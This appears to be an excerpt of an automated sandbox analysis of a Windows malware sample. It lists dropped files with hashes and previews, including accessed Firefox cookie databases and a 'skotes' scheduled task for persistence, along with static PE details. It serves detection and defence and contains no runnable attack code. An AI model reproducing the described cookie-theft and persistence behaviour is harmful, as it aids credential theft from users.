C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\FIJDGIJJKE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3229696
Entropy (8bit):	6.694527762643923
Encrypted:	false
SSDEEP:	49152:crGsKUNW0CaotgIHBZ84N1zJpfNK9tuUPe/ertjfw:crGsH80CjtpHBZZpfN6tuUWItTw
MD5:	F70FD98886425270B5017B04C74B31B8
SHA1:	4986A38E280964CA0D7182C915937DE01C3A4929
SHA-256:	2DC46C49E36B784224D8BECA0430CAF53E821640D359C855B35025C0CFA22AB9
SHA-512:	5DD23707162709C4CB27416E1111EB60FE40DCA24DD34DFF64F54FADAD943B66A06255AF37D09AA037F910FF06369C3763EC6FC0940FC3803303E47D9B8947B6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.......2...@.................................W...k............................51..............................51..................................................... . ............................@....rsrc...............................@....idata ............................@...xqzoqyib..........................@...ryeovcsc.....@1......"1.............@....taggant.0...P1.."...&1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\7L2IH7SHMJ2UHKK6X5B1EYK6W8VN0.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.3678300394955762
Encrypted:	false
SSDEEP:	6:veIdLOnVXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lq8t0:GayRf2RKQ1CGAFAjzvYRQVq8t0
MD5:	43814E3CF483163ED76B946E577DD6EA
SHA1:	9386082D239CEBE2F182E43F088B6585F5E7BD89
SHA-256:	C17754DCE361C94CBD4B913FD20231DE45603BB9F6821346F4A0B68738A91DCF
SHA-512:	9F2915D3EB4DAFACE52BE20F18E18391390CF29D0C0C2D7FDFE66F793083A0DE47A81EAACB45E71565790E11D510E5BE702805E8DDEB02121F161F29E244C650
Malicious:	false
Reputation:	unknown
Preview:	.....{._X..K.j!..NlsF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.4629566642972485
Encrypted:	false
SSDEEP:	6144:3IXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:4XD94+WlLZMM6YFHg+n
MD5:	9CFA675FF76814ADB0BFB2278A18BC09
SHA1:	0E881873ADE4E858352288922359003DC5D4CE3E
SHA-256:	3CFB1ABD3DF2D42EE645D2F826A7B338E1ABDEE2F6B14F6080F87C4A1C475B95
SHA-512:	D8F67490DD56A97FC14B27EC7751A209A8E7544007CB302B6E2439627D88416E58DCBB053F279075F6E53D64C3AA3AC8BC3A53EAACA5155371770AD5BE6026A9
Malicious:	false
Reputation:	unknown
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmF....\.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (6686)
Category:	downloaded
Size (bytes):	6691
Entropy (8bit):	5.7844921856385225
Encrypted:	false
SSDEEP:	192:1HDSt1M8Q2eS3qFd66666f3SCELVjgD4xQn+IaktR97:1HGAtS3Q66666Bej6l+IaktRF
MD5:	1620692E1BC10701594E1854AB7DDCE7
SHA1:	8B517190E6D6EDE9720BFD5C3C94D544018104F7
SHA-256:	CD0ECFEF4A0AEF6B5D6301F96BA4275FF421F2839FBAC300A3260E2EF5382923
SHA-512:	71F10B8705E68BCA584A613854D3E32E7CA7D68C22B7EAE756AC67E3A5225FC58BF4F43B5AAD68DD9DE7D2BB5C20B3051645E28ADBC176197685A3226E1C5632
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["lincoln wheat penny value","green bay packers","aurora borealis northern lights forecast","new year eve traditions","nyt crossword clues","gta 6 rockstar games","irs crypto cost basis","rose parade 2025"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"google:entityinfo":"CggvbS8wM2IzahINRm9vdGJhbGwgdGVhbTKyDGRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBcUNBTUFBQUEwMkszUUFBQUF5VkJNVkVYLy8vOGdOekVBSWhrQUtDQUhLU0lBTERJQUp6TUFMeklGS1NFQUtqSVFMU1lkTlM4QUpSM0p6TXNiTlRFYU15My9zZ0FSTWpMUDB0RUFHeEMwdUxmLzdjMy8ySXovOU9IL3ZBQUFIaFRiM2R6L3R3QUFGUVpvYzNELzVyai8zWjMvMEhQaG53REdqZ0NYY3hlQ2lvaWZwYU9ObEpJc1FEdi8rT3gzWWlUdTcrOWJaMlFBRHdDOWlRQ3FmUWZ0cFFEVm1BRC80S3Yvd0NlTWJCYUFaaHFnZUEzLzA0QTRRU3dvT2k1Q1Jpei95MlJSVFN3N1RFZGtXQ2oveDA1b1dDRktXRlFBQmdEL3hUNlA4NVRyQUFBRGgwbEVRVlJJaVpWVzIyS2lNQkFsSUVFU3JvSUtGUXNxZU1GRlFNVmF0YTNiLy8rb0hiVXFvR2ozd

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1395)
Category:	downloaded
Size (bytes):	117446
Entropy (8bit):	5.490775275046353
Encrypted:	false
SSDEEP:	3072:T2yvefrtJUEgK3Cvw3wWs/ZuTZVL/G1kL:T2y4tJbDK0L/G1kL
MD5:	942EA4F96889BAE7D3C59C0724AB2208
SHA1:	033DDF473319500621D8EBB6961C4278E27222A7
SHA-256:	F59F7F32422E311462A6A6307D90CA75FE87FA11E6D481534A6F28BFCCF63B03
SHA-512:	C3F27662D08AA00ECBC910C39F6429C2F4CBC7CB5FC9083F63390047BACAF8CD7A83C3D6BBE7718F699DAE2ADA486F9E0CAED59BC3043491EECD9734EC32D92F
Malicious:	false
Reputation:	unknown
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.ZpMpph_5a4M.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo_c5__TAiALeuHoQOKG0BnSpdbJrQ/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([]);.var ca,da,ha,ma,xa,Aa,Ba;ca=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);ma=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}};.ma("Symbol",function(a){if(a)return a;var b

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132739
Entropy (8bit):	5.436703183328588
Encrypted:	false
SSDEEP:	3072:fRkJQ7O4N5dTm+syHEt4W3XdQ4Q6huSr/nUW2i6o:f4Q7HTt/sHdQ4Q6hDfUW8o
MD5:	AE214C8AAD6DE8459E2052A8761ABB12
SHA1:	66102150CCCF4674E8533DCEAE95B45D8478928F
SHA-256:	5A923E83259F0B8E2100F742D0F21026492CADF93EC9D176DB963BD68B32AB6E
SHA-512:	CF098A20AB926F95B3276894031EBC1DDA779F276B4960463CD1785C89097BBFC667FC326847C2A8C8AFED40CA458CDA617597AF0A5A7F3E8D16C188455BC352
Malicious:	false
Reputation:	unknown
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2410)
Category:	downloaded
Size (bytes):	175897
Entropy (8bit):	5.549876394125764
Encrypted:	false
SSDEEP:	3072:t0PuJ7UV1+ApsOC3Ocr4ONnv4clQfOQMmzIWrBQoSpFMgDuq1HBGANYmYALJQIfr:t0PuJQ+ApsOOFZNnvFlqOQMmsWrBQoSd
MD5:	2368B9A3E1E7C13C00884BE7FA1F0DFC
SHA1:	8F88AD448B22177E2BDA0484648C23CA1D2AA09E
SHA-256:	577E04E2F3AB34D53B7F9D2F6DE45A4ECE86218BEC656B01DCAFF1BF6D218504
SHA-512:	105D51DE8FADDE21A134ACA185AA5C6D469B835B77BEBEC55A7E90C449F29FCC1F33DAF5D86AA98B3528722A8F533800F5146CCA600BC201712EBC9281730201
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.otmEBJ358uU.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTu0yU9RTMfNNC-LVUmaaNKwIO136g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Ui=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Vi=class extends _.Q{constructor(a){super(a)}};.}catch(e){_._DumpException(e)}.try{.var Wi,Xi,aj,dj,cj,Zi,bj;Wi=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};Xi=function(){_.Ka()};aj=function(a,b){(_.Yi\|\|(_.Yi=new Zi)).set(a,b);(_.$i\|\|(_.$i=new Zi)).set(b,a)};dj=function(a){if(bj===void 0){const b=new cj([],{});bj=Array.prototype.concat.call([],b).length===1}bj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ej=function(a,b,c){a=_.rb(a,b,c);return Array.isArray(a)?a:_.Ac};._.fj=function(a,b){a=2&b?a\|2:a&-3;return(a\|32)&-2049};_.gj=function(a,b){a===0&&(a=_.fj(a,b));return a\|1};_.hj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.ij=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.lj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ej(a,b,d);var k=h[_

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
Reputation:	unknown
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
Reputation:	unknown
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028937001\ad8a3a5306.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	262
Entropy (8bit):	4.7357366233620555
Encrypted:	false
SSDEEP:	6:FKfl3CB9U+oNHgrQ1ye4A2KXRAcBkQWIufNhIdjGN895e:clyD3Cg81ye4A28ASXWIuVhIxGN6e
MD5:	A5E7E4C68F64B50B5BF3B19EFF83FD72
SHA1:	86B895F8565B790345715F3607D73D238A573502
SHA-256:	FD6480D9B159A1110A9FD13B2532C61693055005016ECFDCCDE23C1751FD4E8C
SHA-512:	A61F55A782400A68A64BCE3ADBC188247F0C3FBF87275C8F4C5C74A91A60049EAEBE734B412DEDFEBB5B3129550473BF5AEB24596615C4AA9D7784576CFF7989
Malicious:	false
Reputation:	unknown
Preview:	Welcome to the 'Guess the Number' game!..I've picked a number between 1 and 100. Try to guess it!..Enter your guess: .Time's up! The correct number is 91...Congratulations! You guessed the number 91 in 1 attempts!..Folder 'LQJwYFm' created successfully at C:\...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.656593848249308
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	random(4).exe
File size:	3'151'360 bytes
MD5:	c77592f28d3267b7c5e0529b6741548a
SHA1:	e0a741dbbdd703b9254e5613b36dc727262c1efc
SHA256:	739345a9fa6a95c79e3aaf761a810e917492c2072330ec5bb058447b9d56ea62
SHA512:	5286b4313116ac2fd7096e5c60bf4a221e4efba3ce15cabd7ba79432ab62e77518244ec7d89b24bc4cffd9cb5c21f67c10dd3434ecf6f5cb94c5aab1e4134314
SSDEEP:	49152:kkIlQwjVgzA0wb9Ah375vpndrsYtS8EACCRG0g+/yWXPifETW:slngzby9AhFvpndgYt/Eirgiph
TLSH:	30E54AD2A4C961CFE48E37784A37ED82592D02F96B214DC3A81D74BE7D63CC911B2C66
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L... .pg............................. 0...........@..........................P0.....\|C0...@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x702000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67701720 [Sat Dec 28 15:20:00 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F0264E149CAh
pmuludq mm5, qword ptr [edi]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or al, 80h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x53000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x52000	b646b712b4bca5218b78904f3ebd50b1	False	0.5857499285442073	data	7.09048271708439	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x2b0	0x400	fe67bb2a9df3150b9c94de8bd81ed8a0	False	0.3603515625	data	5.186832724894366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jimlxaop	0x55000	0x2ac000	0x2ab800	8f218805920576c097f8a566502dc809	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lzmmbpyt	0x301000	0x1000	0x600	71cde9d7c887c8329d5d74db855c6c93	False	0.5631510416666666	data	4.905707342335007	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
